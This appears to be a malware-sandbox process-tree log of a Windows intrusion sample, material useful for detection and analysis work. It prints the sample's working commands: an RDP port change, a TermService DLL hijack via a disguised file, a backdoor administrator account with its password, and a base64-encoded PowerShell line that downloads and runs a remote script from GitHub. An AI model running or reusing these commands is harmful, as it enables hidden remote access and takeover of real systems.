C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kr2ru0oo\kr2ru0oo.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6146.tmp" "c:\Users\Admin\AppData\Local\Temp\kr2ru0oo\CSC6A8FA04B82BF4D24BA7ABA6E43EC8DA.TMP"4⤵PID:1360
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵PID:2928
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵PID:828
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵PID:2844
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C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:2200
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C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:2812
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C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:888
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C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵PID:3688
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2948
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵PID:2500
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C:\Windows\SysWOW64\cmd.execmd /c net start rdpdr4⤵PID:1760
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C:\Windows\SysWOW64\net.exenet start rdpdr5⤵PID:1908
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:2992
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:2908
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C:\Windows\SysWOW64\cmd.execmd /c net start TermService4⤵PID:2488
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C:\Windows\SysWOW64\net.exenet start TermService5⤵PID:2308
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:2004
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1460
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:4004
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1072 -s 13002⤵
- Program crash
PID:68
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:2180
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 1mSuIUbS /add1⤵
- Suspicious use of WriteProcessMemory
PID:3220 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 1mSuIUbS /add2⤵
- Suspicious use of WriteProcessMemory
PID:3096 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 1mSuIUbS /add3⤵PID:2204
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1564
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:3832
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD1⤵PID:2208
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD2⤵PID:3120
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD3⤵PID:2500
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:668
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:900
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:2596
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 1mSuIUbS1⤵PID:2608
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 1mSuIUbS2⤵PID:3508
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 1mSuIUbS3⤵PID:3432
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1820
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵PID:1768
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:420
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:2840
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of WriteProcessMemory
PID:616
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1500
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:68
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